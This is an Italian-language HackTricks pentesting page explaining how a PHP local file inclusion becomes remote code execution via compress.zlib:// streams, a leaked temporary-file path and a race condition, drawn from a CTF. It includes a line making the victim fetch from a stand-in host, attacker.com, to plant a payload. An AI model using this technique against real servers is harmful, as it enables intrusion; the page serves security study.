hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

2.2 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{{#include ../../banners/hacktricks-training.md}}

compress.zlib:// e PHP_STREAM_PREFER_STDIO

Un file aperto utilizzando il protocollo compress.zlib:// con il flag PHP_STREAM_PREFER_STDIO può continuare a scrivere dati che arrivano alla connessione successivamente nello stesso file.

Questo significa che una chiamata come:

file_get_contents("compress.zlib://http://attacker.com/file")

Invierà una richiesta per http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.

Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

Questo CTF è stato risolto utilizzando il trucco precedente.

L'attaccante farà in modo che il server vittima apra una connessione leggendo un file dal server dell'attaccante utilizzando il protocollo compress.zlib.

Mentre questa connessione esiste, l'attaccante esfiltrerà il percorso del file temporaneo creato (è stato leakato dal server).

Mentre la connessione è ancora aperta, l'attaccante sfrutterà un LFI caricando il file temporaneo che controlla.

Tuttavia, c'è un controllo nel server web che impedisce il caricamento di file che contengono <?. Pertanto, l'attaccante abuserà di una Race Condition. Nella connessione che è ancora aperta, l'attaccante invierà il payload PHP DOPO che il webserver ha controllato se il file contiene i caratteri vietati ma PRIMA che carichi il suo contenuto.

Per ulteriori informazioni, controlla la descrizione della Race Condition e del CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

{{#include ../../banners/hacktricks-training.md}}